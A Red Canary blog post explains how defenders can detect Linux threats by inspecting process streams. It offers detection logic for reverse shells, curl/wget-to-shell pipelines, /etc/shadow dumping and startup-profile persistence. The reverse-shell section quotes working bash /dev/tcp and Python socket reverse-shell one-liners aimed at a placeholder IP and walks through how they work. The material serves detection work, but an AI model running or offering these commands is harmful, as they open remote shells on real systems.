Skip Navigation
Request Demo
 
 
 
 
 
 
 
 
 
Resources Blog Linux security

How process streams can help you detect Linux threats

By investigating standard process streams on a Linux environment, defenders can unlock many insights about an adversary’s behavior

Thomas Gardner

The Red Canary CIRT is always looking for creative new methods to detect threats, and much of that effort on Linux makes its way into our own Linux EDR sensor. One such method we’ve found useful is examining standard process streams. This blog will break down what process streams are, how they are required for basic shell functionality on Linux, and how you can leverage them to detect evil in your environment, along with some specific detection analytics we’ve had success with.

What are process streams?

Process streams refer to the various file-like handles that a process can read from and/or write to. They are a normal part of UNIX-based operating systems, like Linux, and are used for a wide variety of tasks, like cleaning up leftover Docker containers, searching through logs, and finding files with specific extensions:

$ docker ps -a | xargs -I % kill -9 %
$ cat /var/log/security | grep "failed" | sort | uniq -c
$ find . -name "*.ini" 2>/dev/null

On Linux, each process starts with three default streams open:

 

Default process streamCorresponding hardwareTypical file descriptor
Default process stream :

Standard Input (STDIN)

Corresponding hardware :

keyboard

Typical file descriptor :

0

Default process stream :

Standard Output (STDOUT)

Corresponding hardware :

screen

Typical file descriptor :

1

Default process stream :

Standard Error (STDERR)

Corresponding hardware :

screen

Typical file descriptor :

2

 

These streams can also be redirected to (or represent) other sources, such as text files, device drivers, and other processes. While these standard process streams are used by default, additional streams can be created using tools like Bash or system calls like fopen().

How do you find a process’s open streams?

The procfs filesystem exposes a ton of data about individual processes, including their open file descriptors, which are numeric identifiers associated with each open file handle for a process. Within procfs, we can find these descriptors as symbolic links under the /proc/$PID/fs/ directory, where $PID refers to the running process’s identifier and the links point to the descriptor destination.

Image of the /proc/$PID/fs/ directory

Remember: STDIN has a file descriptor of 0, STDOUT has a file descriptor of 1, and STDERR has a file descriptor of 2.

Additionally, the system utility List Open Files (lsof) ​​can walk this directory for any given process, with the additional benefit of displaying process names when a pipe is used. The example below shows how the processes cat and sleep are connected by pipe 347077:

image of the system utility List Open Files

How do adversaries use process streams?

Interactively spawning a process

Process streams are commonly used in interactive terminals—e.g., taking input from a keyboard and outputting data to a computer screen. Since STDIN and STDOUT are both concerned with hardware, these interactive processes use special devices in the /dev/ folder. For detection, we haven’t found a use case where the keyboard input is useful, but when STDOUT is pointing to a terminal device,* it’s a strong indication that the process was executed interactively, and we can use additional attributes to build robust detectors.

For example, rarely would anyone need to view the contents of the /etc/shadow file directly in an interactive terminal. This sensitive file contains password hashes of every user on the system, and if an adversary is able to dump its contents to the screen, they could attempt to crack those passwords offline after copying them to another system. To detect this, we can simply look for commands referencing /etc/shadow and pointing one or multiple standard streams to a terminal device. Bonus: this works just as well inside containers, since the interactive terminal devices don’t change.

*On most Linux distributions, the terminal points to a device file with the pattern /dev/ttyN or /dev/pts/N, where N is the device ID.

Reverse shells

Reverse shells are an interesting use case for manipulating process streams as well, since there are a lot of examples on the internet with wildly varying syntax. This variation makes command-line detection difficult, but by focusing on the reverse shell’s process streams, we’re able to reliably detect a large number of variations. Let’s take a look at a few common examples from Pentest Monkey’s Reverse Shell Cheat Sheet:

 

$ bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

 

This example uses file descriptors for STDIN (0) and STDOUT (1) and some special shell syntax to redirect the streams back into each other, creating the reverse shell:

  1. A network socket is opened by the current shell (the reverse shell’s parent) to the remote host using the bash-ism /dev/tcp/<IP>/<PORT>
  2. The reverse shell’s STDOUT is redirected to the remote host via the network socket (>&)
  3. The reverse shell’s STDIN is redirected to the same place STDOUT was previously directed to the network socket (0>&1)
  4. Finally, an interactive shell is spawned as a child process with the existing streams and bash -i as the command line

Most of these steps happen as the result of special syntax interpreted by the existing shell process, so they do not get passed into the Linux kernel when the process is created. This can look pretty strange in most EDR sensors: usually it will just appear as a shell process with only bash -i as the command line and no other information.

 

$ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

 

While extremely similar to the previous one, this variation uses Python standard libraries instead of special bash syntax to open a network connection and set up the reverse shell:

  1. The Python interpreter opens a network socket to the remote host using functions in the standard socket library
  2. All three standard streams (STDIN/STDOUT/STDERR) are modified to reference the network socket with os.dup2()
  3. Finally, an interactive shell spawns with the existing streams set up and /bin/sh -i as the command line

The basic workflow for this looks a lot like the first example, and the outcome is the same: a new reverse shell!

Detection opportunity 1

The following detection logic can be used to detect most variations of reverse shells regardless of if they use Bash, Python, Java, or any other similar utility:

process_name == *sh
&&
standard_input == socket:[*]
&&
standard_output == socket:[*]

 

When examining processes using network sockets in this way, the process stream will take the format socket:[<number>] and link to the corresponding network socket; the number is the identifier for this socket.

Additional considerations for detection logic may include:

  • non-standard file descriptors being used
  • named pipes placed between a process and the network socket (commonly seen with variations on “netcat without the -e” reverse shells)

Malicious script download and execution without touching disk

A common method of evading detection involves downloading malicious scripts and piping them directly into a shell to execute. This tactic avoids writing anything to disk, where a good antivirus can detect and remediate a threat before a foothold can be established. In our experience, this tactic is most commonly used by groups attempting to deploy cryptominers (because of course).

Every version of this attack pattern we’ve seen goes something like:

  1. A system binary is used to download the shell script from a remote host—most often curl or wget
  2. The downloader then pipes its output to a shell via STDOUT
  3. The shell reads the malicious script from STDIN and executes commands accordingly

Since the downloader process is piping directly into the shell, its STDOUT will align with the shell’s STDIN. Even when additional processes are placed between the download and execution of the shell script, this chain of STDIN/STDOUT can be followed to understand how malicious commands are being processed, such as when the malicious script needs to be Base64 decoded before execution.

Detection opportunity 2 

A detection analytic for this technique is fairly straightforward, but data collection may pose a problem. Unfortunately, there is no single telemetry source that correlates the reader and writer of a pipe, but that data can be found scattered across various locations in the /proc/ filesystem, including an individual process’s file descriptors (/proc/$PID/fd/), and the global net connections files (e.g., /proc/net/tcp):

process_name == *sh
&&
standard_input ==pipe:[*]
&&
(standard_input_process == curl || standard_input_process == wget)

Detection opportunity 3

Or, to catch variations where Base64 encoding is used, focus on base64 and examine both its STDIN and STDOUT pipes simultaneously:

process_name == base64
&&
standard_input == pipe:[*]
&&
(standard_input_process == curl || standard_input_process == wget)
&&
standard_output == pipe:[*]
&&
standard_output_process == *sh

 

Like the sockets in the previous example, the process stream will take the format pipe:[<number>] and use the ID of the corresponding unnamed pipe as the number. Additional effort is required to resolve the process on the other end of that pipe.

You should also consider the following when writing detection logic:

  • Scheduling services such as crond or atd initiating these commands
  • The user account associated with these processes. This may be normal for a developer account, but a webserver user like www-data probably should not be performing this activity

Appending a command to a startup profile

Lastly, many locations on Linux systems store scripts designed to execute commands based on some predefined event, such as system startup, a user logging in, or a specific time elapsing. Many malware families have used these locations to persist on systems by appending to existing scripts, which helps avoid suspicion from curious administrators.

Detection opportunity 4

Often when we see this activity, it takes the form of shell commands echoing data directly to a file. System services, such as cron or web servers, will leverage the Bourne shell to execute commands as child processes using the sh -c syntax with a redirection to the intended startup profile. When this happens, the shell will execute the command and overwrite the STDOUT stream with the startup profile, as seen with the following detection analytic:

process_name == sh
&&
(standard_output == /etc/rc.d/* || standard_output == /etc/rc.local ||
standard_output == .*rc || standard_output == .*profile)

 

Just a handful of common startup locations are used above, but there are many possible locations depending on what software is installed, what subsystems are used, etc. Surveying your environment ahead of time can help you understand which profiles are likely to be present on a given host.

Now streaming

Process streams are another building block of endpoint detection. On UNIX-based operating systems, every process opens with three standard streams that can be used in conjunction with other attributes to build robust detections. Many common attack techniques use them without even intending to, and, though it is possible for adversaries using process streams to evade scrutiny, it is much more difficult than other artifacts used for detection, such as command lines or process names.

 

Your Linux data in one location

 

Everything’s a file: Securing the Linux VFS

 

Linux security, reimagined

 

eBPF for security: a beginner’s guide

Subscribe to our blog

 
Back to Top